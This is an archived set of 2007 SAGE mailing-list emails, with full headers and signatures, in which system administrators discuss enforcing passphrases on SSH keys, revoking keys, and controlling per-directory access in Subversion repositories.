X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Dustin Puryear wrote:
> With keys, I want the ability to:
>
> 1. Expire keys at the server, even if that means rotating the public
> key out of authorized_keys2 (this could be done today using scripts).
>
> 2. Remove public keys when an employee is fired. Really, this can all
> be handled now via homedirs, requiring sudo, and protecting my root
> authorized_keys2.
>
>   

Sounds like you want a way to do CRL with SSH.

> 3. Require private keys to have strong passwords (no realistic way to
> enforce this).
>
> With this, I think the strength in using SSH keys could be
> dramatically increased.
>   

Absolutely, but I think it's unlikely to be implemented unless you do it 
yourself or pay someone.

Bryan


From sage-members-owner@usenix.org Mon Jan 22 12:06:43 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MK6dZG001969
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 12:06:40 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MK6d5c001967
	for sage-members-0utGoign; Mon, 22 Jan 2007 12:06:39 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MK6ULt001951
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 12:06:35 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MK6UqE001950
	for sage-members@usenix.org; Mon, 22 Jan 2007 12:06:30 -0800 (PST)
Received: from bunrab.catwhisker.org
	(adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHw0Mn022374
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:58:11 -0800 (PST)
Received: from bunrab.catwhisker.org (localhost [127.0.0.1])
	by bunrab.catwhisker.org (8.13.3/8.13.3) with ESMTP id l0MHSp2V097675; 
	Mon, 22 Jan 2007 09:28:51 -0800 (PST)
	(envelope-from david@bunrab.catwhisker.org)
Received: (from david@localhost)
	by bunrab.catwhisker.org (8.13.3/8.13.1/Submit) id l0MHSpjC097674;
	Mon, 22 Jan 2007 09:28:51 -0800 (PST) (envelope-from david)
Date: Mon, 22 Jan 2007 09:28:50 -0800
From: David Wolfskill <david@catwhisker.org>
To: danaq@pobox.com
Cc: sage-members@usenix.org
Subject: Re: [SAGE] The danger of SSH keys..
Message-ID: <20070122172850.GX22848@bunrab.catwhisker.org>
References: <410572049.20070122085528@puryear-it.com>
	<d6bfee120701220811n6bca9890h25c2175b8340fd32@mail.gmail.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="oHol9VkNrsXxrlZV"
Content-Disposition: inline
In-Reply-To: <d6bfee120701220811n6bca9890h25c2175b8340fd32@mail.gmail.com>
User-Agent: Mutt/1.4.2.1i
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--oHol9VkNrsXxrlZV
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jan 22, 2007 at 08:11:48AM -0800, Dana Quinn wrote:
> Make it so people only have access to a keygen binary that requires a
> password.  I'm aware of a large company that does this fairly
> successfully.  Could get unwieldy as you need to cover all the
> possible OSs that people might use to generate...

My perspective may be warped beyond any rational expectation here, but
that doesn't seem plausible.  For example, I run FreeBSD on my laptop,
and generally track both STABLE & CURRENT (on different slices) on a
(usually) daily basis.  And I keep a private mirror of the FreeBSD CVS
repository on the same laptop (also updated on the same basis).

Point is, I don't normally keep the binaries longer than a day before
they're rebuilt anyway.  And I control what binaries run on my
(personal) laptop, and I control what sources are used to build the
binaries....

Peace,
david
--=20
David H. Wolfskill				david@catwhisker.org
Believe SORBS at your own risk: 63.193.123.122 has been static since Aug 19=
99.

See http://www.catwhisker.org/~david/publickey.gpg for my public key.

--oHol9VkNrsXxrlZV
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (FreeBSD)

iEYEARECAAYFAkW09FAACgkQmprOCmdXAD2IIwCcClux/5KN3drWwd0QHdXKznXh
go8Ania0mvaZiplhbGtYhrZYvP0UYVuS
=YLM5
-----END PGP SIGNATURE-----

--oHol9VkNrsXxrlZV--


From sage-members-owner@usenix.org Mon Jan 22 12:07:02 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MK71UX002017
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 12:07:01 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MK719h002016
	for sage-members-0utGoign; Mon, 22 Jan 2007 12:07:01 -0800 (PST)
Received: from alnrmhc13.comcast.net (alnrmhc13.comcast.net [204.127.225.93])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MK6ZC0001942
	for <sage-members@sage.org>; Mon, 22 Jan 2007 12:06:45 -0800 (PST)
Received: from paulntooz.homelinux.org ([24.34.212.25])
	by comcast.net (alnrmhc13) with ESMTP
	id <20070122200621b1300khcope>; Mon, 22 Jan 2007 20:06:22 +0000
Received: from taz.comcast.net (localhost [127.0.0.1])
	by paulntooz.homelinux.org (Postfix) with ESMTP id 6AEBD1AB4C;
	Mon, 22 Jan 2007 15:06:21 -0500 (EST)
To: Neil Watson <sage@watson-wilson.ca>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Subversion, passwords and ACLs
References: <20070119161746.GA31925@watson-wilson.ca>
From: Paul Lussier <p.lussier@comcast.net>
Date: Mon, 22 Jan 2007 15:06:21 -0500
In-Reply-To: <20070119161746.GA31925@watson-wilson.ca> (Neil Watson's
	message of "Fri, 19 Jan 2007 11:17:46 -0500")
Message-ID: <877iveg72a.fsf@comcast.net>
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-sage-members@usenix.org
Precedence: bulk

Neil Watson <sage@watson-wilson.ca> writes:

> Suppose I have a Subversion repository:
>
> /trunk/
> /branches/dev
> /branches/qa
>
> I want to be able to limit users to certain directories.  John should
> only be able to access branches/qa.  Jane should only be able to access
> branches/dev.
>
> I can accomplish this using Subversion's authz-db files.  Using this
> method users contact a running Subversion daemon.  Their credentials are
> stored in a password-db file.  I do not like that this file is plain
> text.  I also do not like that this does not give the user's a chance to
> change their passwords.
>
> Is there a way to control directory access inside a repository while
> still using UNIX shell accounts for logins?

It depends upon how you access svn.  If your svn server is remote,
front-ended by Apache with the svn and dav modules, then you can have
apache do all your authentication/authorization for you, and you
possibilities are limited by apache at that point.

For example, you could auth off of an AD server, or tie MIT Kerberos
and LDAP in if you wanted to.  Another option, if you're just svnserve
and accessing via svn+ssh:// urls is to possible configure something
into the SSH config.  ~/.ssh/authorized_keys can be used to do some
really neat things.

-- 
Seeya,
Paul


From sage-members-owner@usenix.org Mon Jan 22 12:10:44 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MKAhUn002733
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 12:10:43 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MKAgLV002731
	for sage-members-0utGoign; Mon, 22 Jan 2007 12:10:42 -0800 (PST)
Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [63.240.77.81])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MKAGFP002689
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 12:10:26 -0800 (PST)
Received: from paulntooz.homelinux.org ([24.34.212.25])
	by comcast.net (sccrmhc11) with ESMTP
	id <2007012220100101100nd45fe>; Mon, 22 Jan 2007 20:10:02 +0000
Received: from taz.comcast.net (localhost [127.0.0.1])
	by paulntooz.homelinux.org (Postfix) with ESMTP id 725DD1AB4C;
	Mon, 22 Jan 2007 15:10:01 -0500 (EST)
To: "Dustin Puryear" <dustin@puryear-it.com>
Cc: sage-members@usenix.org, general@brlug.net
Subject: Re: [SAGE] The danger of SSH keys..
References: <410572049.20070122085528@puryear-it.com>
From: Paul Lussier <p.lussier@comcast.net>
Date: Mon, 22 Jan 2007 15:10:00 -0500
In-Reply-To: <410572049.20070122085528@puryear-it.com> (Dustin Puryear's
	message of "Mon, 22 Jan 2007 08:55:28 -0600")
Message-ID: <873b62g6w7.fsf@comcast.net>
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-sage-members@usenix.org
Precedence: bulk

"Dustin Puryear" <dustin@puryear-it.com> writes:

> If I have a system that doesn't allow keys, I can check for weak
> passwords in the local system password database using various tools.
> But I can't really *ENFORCE* a check against user keys (i.e., I can't
> check for weak passwords or no passwords).
>
> How are you dealing with this?

We run a kerberos realm, but that doesn't really do more than shift
the problem, though krb5 has policies which help enforce better
passwords and the like.  On the other hand, we also allow keys as a
fallback mechanism because of the number of automated tests we run at
night that use ssh and "can't rely upon tickets"...  As a result, most
of our developers end up never kinit'ing and then fall-back to their
keys and never realize it.

-- 
Seeya,
Paul


From sage-members-owner@usenix.org Mon Jan 22 12:35:14 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MKZ83K004265
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 12:35:08 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MKZ8VG004264
	for sage-members-0utGoign; Mon, 22 Jan 2007 12:35:08 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MKYbO5004241
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 12:34:51 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l0MKXltF002989;
	Mon, 22 Jan 2007 14:33:47 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l0MKXlg5002988; Mon, 22 Jan 2007 14:33:47 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Mon, 22 Jan 2007 14:33:46 -0600 (CST)
Date: Mon, 22 Jan 2007 14:33:48 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: Paul Lussier <p.lussier@comcast.net>
cc: sage-members@usenix.org, general@brlug.net
Message-ID: <1601542970.20070122143348@puryear-it.com>
In-Reply-To: <873b62g6w7.fsf@comcast.net>
References: <410572049.20070122085528@puryear-it.com>
References: <873b62g6w7.fsf@comcast.net>
Subject: Re[2]: [SAGE] The danger of SSH keys..
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.7 required=5.0 tests=AWL,BAYES_50,
	FORGED_MUA_THEBAT_CS,TW_KR autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Oh what a tangled web we weave. Communication channels continue to
become stronger, and yet the end-points still remain just as
vulnerable.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Monday, January 22, 2007, 2:10:00 PM, you wrote:

> "Dustin Puryear" <dustin@puryear-it.com> writes:

>> If I have a system that doesn't allow keys, I can check for weak
>> passwords in the local system password database using various tools.
>> But I can't really *ENFORCE* a check against user keys (i.e., I can't
>> check for weak passwords or no passwords).
>>
>> How are you dealing with this?

> We run a kerberos realm, but that doesn't really do more than shift
> the problem, though krb5 has policies which help enforce better
> passwords and the like.  On the other hand, we also allow keys as a
> fallback mechanism because of the number of automated tests we run at
> night that use ssh and "can't rely upon tickets"...  As a result, most
> of our developers end up never kinit'ing and then fall-back to their
> keys and never realize it.




From sage-members-owner@usenix.org Mon Jan 22 12:47:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MKlFVh005115
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 12:47:15 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MKlFC9005114
	for sage-members-0utGoign; Mon, 22 Jan 2007 12:47:15 -0800 (PST)
Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.192.83])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MKkW3H005068
	for <sage-members@sage.org>; Mon, 22 Jan 2007 12:46:44 -0800 (PST)
Received: from [128.117.8.247] (fido.scd.ucar.edu[128.117.8.247])
	by comcast.net (rwcrmhc13) with SMTP
	id <20070122204622m1300oq8d4e>; Mon, 22 Jan 2007 20:46:23 +0000
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <877iveg72a.fsf@comcast.net>
References: <20070119161746.GA31925@watson-wilson.ca>
	<877iveg72a.fsf@comcast.net>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <8AE96707-371F-44C4-94B4-D3FFD480DD10@pobox.com>
Content-Transfer-Encoding: 7bit
From: Peter Burkholder <pburkholder@pobox.com>
Subject: Re: [SAGE] Subversion, passwords and ACLs
Date: Mon, 22 Jan 2007 13:44:32 -0700
To: sage-members@sage.org
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 22, 2007, at 1:06 PM, Paul Lussier wrote:

> Neil Watson <sage@watson-wilson.ca> writes:
>
>> Suppose I have a Subversion repository:
>>
>> /trunk/
>> /branches/dev
>> /branches/qa
>>
>> I want to be able to limit users to certain directories.  John should
>> only be able to access branches/qa.  Jane should only be able to  
>> access
>> branches/dev.
>>
>> I can accomplish this using Subversion's authz-db files.  Using this
>> method users contact a running Subversion daemon.  Their  
>> credentials are
>> stored in a password-db file.  I do not like that this file is plain
>> text.  I also do not like that this does not give the user's a  
>> chance to
>> change their passwords.
>>
>> Is there a way to control directory access inside a repository while
>> still using UNIX shell accounts for logins?
>

You might also want to take a look at
	tools/hook-scripts/commit-access-control.pl.
which lets you use a simple configuration file to control who has  
read-only vs. commit access to parts of your repository if you set it  
up as a pre-commit hook script. There's also, I think, a python  
equivalent.  Since the script works in the repository it's agnostic  
about whether access is HTTP or svnserver or file:.

--Peter
--
Peter Burkholder
email: pburkholder@pobox.com;  AIM: peterbtech;  Skype: pburkholder
phone: +1-303-497-2663 (work) or +1-303-359-4842 (cell)
http://www.pburkholder.com
PGP Key Fingerprint: B473 C1CF D8B0 7941 8F95  7627 4785 86C9 F1F4 81DC
PGP Key URL:  http://pburkholder.com/gpg.txt






From sage-members-owner@usenix.org Mon Jan 22 13:35:26 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MLZEuX007012
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 13:35:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MLZDP7007011
	for sage-members-0utGoign; Mon, 22 Jan 2007 13:35:14 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MLYMXU006975
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 13:34:39 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l0MLY3PR011164;
	Mon, 22 Jan 2007 15:34:03 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l0MLY1p5011161; Mon, 22 Jan 2007 15:34:03 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Mon, 22 Jan 2007 15:34:01 -0600 (CST)
Date: Mon, 22 Jan 2007 15:34:00 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: "James J. Barlow" <jbarlow@ncsa.uiuc.edu>
cc: SAGE Members Mailing List <sage-members@usenix.org>
Message-ID: <106167192.20070122153400@puryear-it.com>
In-Reply-To: <20070122205639.GA28706@wolrab.ncsa.uiuc.edu>
References: <1096018946.20070122130129@puryear-it.com>
References: <20070122205639.GA28706@wolrab.ncsa.uiuc.edu>
Subject: Re[2]: [SAGE] The danger of SSH keys..
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.7 required=5.0 tests=AWL,BAYES_50,
	FORGED_MUA_THEBAT_CS autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

What an excellent find!

That webpage basically boils down this discussion to a few bullet
points.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Monday, January 22, 2007, 2:56:39 PM, you wrote:

> On Mon, Jan 22, 2007 at 01:01:29PM -0600, Dustin Puryear wrote:
>> 
>> With keys, I want the ability to:
>> 
>> 3. Require private keys to have strong passwords (no realistic way to
>> enforce this).
>> 
>> With this, I think the strength in using SSH keys could be
>> dramatically increased.

> Here is some research work that was done at NCSA to manage SSH public keys.
> It takes the management out of the users control, and you can enforce
> whatever type of pssphrase policy you want at the server:

>     http://security.ncsa.uiuc.edu/research/ssh-remote-agent/


> - Jim



From sage-members-owner@usenix.org Mon Jan 22 14:37:21 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MMbKQC009900
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 14:37:20 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MMbKAI009898
	for sage-members-0utGoign; Mon, 22 Jan 2007 14:37:20 -0800 (PST)
Received: from thunker.thunk.org (thunk.org [69.25.196.29])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MMasgX009865
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 14:37:05 -0800 (PST)
Received: from root (helo=candygram.thunk.org)
	by thunker.thunk.org with local-esmtps 
	(tls_cipher TLS-1.0:RSA_AES_256_CBC_SHA:32)  (Exim 4.50 #1 (Debian))
	id 1H97r1-0005ev-2x; Mon, 22 Jan 2007 17:41:31 -0500
Received: from tytso by candygram.thunk.org with local (Exim 4.62)
	(envelope-from <tytso@thunk.org>)
	id 1H97m8-0006m9-5z; Mon, 22 Jan 2007 17:36:28 -0500
Date: Mon, 22 Jan 2007 17:36:28 -0500
From: Theodore Tso <tytso@mit.edu>
To: Dustin Puryear <dustin@puryear-it.com>
Cc: Larry Underhill <lgu@pobox.com>, sage-members@usenix.org, general@brlug.net
Subject: Re: Re[2]: [SAGE] The danger of SSH keys..
Message-ID: <20070122223627.GA26366@thunk.org>
References: <1169488797.5795.46.camel@lgu-laptop>
	<2710202596.20070122121534@puryear-it.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <2710202596.20070122121534@puryear-it.com>
User-Agent: Mutt/1.5.12-2006-07-14
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@thunk.org
X-SA-Exim-Scanned: No (on thunker.thunk.org); SAEximRunCond expanded to false
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mon, Jan 22, 2007 at 12:15:34PM -0600, Dustin Puryear wrote:
> And that last point is what concerns me.
> 
> With passwords on servers, *I* control the minimum strength. I can
> require a certain complexity, that one exists, etc. With SSH keys,
> that is difficult if not impossible to do.

You said, "real world" when you kicked off this thread, right?

In the real world, the *users* control whether or not an obnoxious
password policy causes them to write the password which is placed on
sticky note attached to their workstation.  In another real world
example, the security office set some obnoxious password policy that
caused passwords to be impossible to remember, and then required
changing said obnoxious passwords every 30 days.  But this was at a
company where the traders were making bazillions of dollars every day,
and rule #1 was "thou should not piss off the traders, for they make
your company rich and can go find a job with the competition".  So the
company hired a set of runners who were given the traders' passwords,
and every morning before the traders came in, the runners would run
around to all of the trading workstations and log in the traders so
they wouldn't have to. 

The bottom line here is that you have to be reasonable.  If the
password policy is too draconian, people *will* work around it,
whatever way they can.  And the only way you can prevent that is with
policy; but if that's the case, why not trust your users (shocking
concept, I know) and rely on a policy statement in the first place?
You can always back it up with some random scans of people's home
directories looking for unprotected keys.

						- Ted


From sage-members-owner@usenix.org Mon Jan 22 14:44:25 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MMiEFM010461
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 14:44:15 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MMiEPK010459
	for sage-members-0utGoign; Mon, 22 Jan 2007 14:44:14 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MMi3hX010433
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 14:44:03 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MMi2dj010432
	for sage-members@usenix.org; Mon, 22 Jan 2007 14:44:03 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.246])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MLdWcH007252
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 13:39:44 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id c5so440090anc
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 13:39:31 -0800 (PST)
Received: by 10.49.93.4 with SMTP id v4mr7345066nfl.1169498578802;
	Mon, 22 Jan 2007 12:42:58 -0800 (PST)
Received: from ?192.168.1.66? ( [82.227.162.226])
	by mx.google.com with ESMTP id p43sm118644nfa.2007.01.22.12.42.57;
	Mon, 22 Jan 2007 12:42:58 -0800 (PST)
In-Reply-To: <2622.32.97.110.142.1169486525.squirrel@wm.egbok.com>
References: <2622.32.97.110.142.1169486525.squirrel@wm.egbok.com>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-92-65318793;
	protocol="application/pkcs7-signature"
Message-Id: <696D5042-EC84-4F4D-873E-215CA229D03F@samj.net>
Cc: "Dustin Puryear" <dustin@puryear-it.com>, sage-members@usenix.org
From: Sam Johnston <samj@samj.net>
Subject: Re: [SAGE] The danger of SSH keys..
Date: Mon, 22 Jan 2007 21:42:43 +0100
To: hbo@egbok.com
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk


--Apple-Mail-92-65318793
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

On Jan 22, 2007, at 6:22 PM, hbo@egbok.com wrote:

> (Certificates, unlike "naked" keys, can enforce password  
> protection. If
> there's no password, don't sign the key at the CA.)

Actually you don't send your private key to get a signature, rather a  
'certificate signing request' which you can be fairly sure doesn't  
say anything about the [in]security of the private key. Even if it  
did you can always strip off the encryption at a later date, so this  
is analogous to using SSH keys (which incidentally are a form of two  
factor authentication).

If you want to keep your private keys safe use smart cards[1] (which  
sign transactions after being activated with a PIN without ever  
revealing the secret sauce). Bear in mind though that there's no  
point finding a technical solution to a problem which is better  
solved administratively.

If you do have control over the tools used to generate the keys (eg  
ssh-keygen, puttygen) then by all means neuter them; at least then  
users clever enough to work around the restriction are likely to be  
lazy enough to leave the keys encrypted on disk and use an agent!  
(Actually I wonder if this could be strapped on to PAM to mirror  
system policies - eg pam_cracklib?)

Sam (who has his keys stashed in keychain on OS X for now)

1. http://www.foo.be/ssh-smart/


--Apple-Mail-92-65318793
Content-Transfer-Encoding: base64
Content-Type: application/pkcs7-signature;
	name=smime.p7s
Content-Disposition: attachment;
	filename=smime.p7s

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGMjCCAusw
ggJUoAMCAQICECRsS/v7ojkGG6A09sy+qUowDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDEwNzIzNTgzOFoXDTA4MDEwNzIzNTgz
OFowVjERMA8GA1UEBBMISm9obnN0b24xDDAKBgNVBCoTA1NhbTEVMBMGA1UEAxMMU2FtIEpvaG5z
dG9uMRwwGgYJKoZIhvcNAQkBFg1zYW1qQHNhbWoubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA1CEDH/xjdgOI3Ut9SbdA6TnifO9pu8POEpf33HTnXaZeWEEpuc9YGHAks+z1F9pC
mOm0UevExf6M19CUae9AaI2d3BKQqCml+8Fiws5fFpwyQwsp1FE6DYzo0fwrEHe/mshY0caEvdCo
UMAlMppbIeB/J/ahe7EROHq7Xn44J/7OgQ72NvB4GFS0wN4V+/+k6JfGhWhohap6JYlIFyTJ9UbA
lADPp0HQS9DefQF5OMMnUr9KraV3f2v5sbxUlU4bpgUH3t9NH0S9UHsxXkbNYBs5CO+t6IQp9Otf
dMpBOhIJibh/cPK8Th4/uSbfpT9ZN4TNkYKsILMsRQdue7SFVwIDAQABoyowKDAYBgNVHREEETAP
gQ1zYW1qQHNhbWoubmV0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEFBQADgYEAZ7QA34S2D3hH
FrjruANyTQUduUH4CE08yg/W0uu35pQx7vb/x0jlowAy+32j4ed9Sj3n/yehyfInXe8YmT7fnn+2
eK/LR54V0SWDzjm/o1N9zONe8urWW1drkxF5Cme7qh0r6Q4DKskLrHEdhihULemzc6YBnmJcWMea
eLCcQncwggM/MIICqKADAgECAgENMA0GCSqGSIb3DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMG
A1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBD
b25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYD
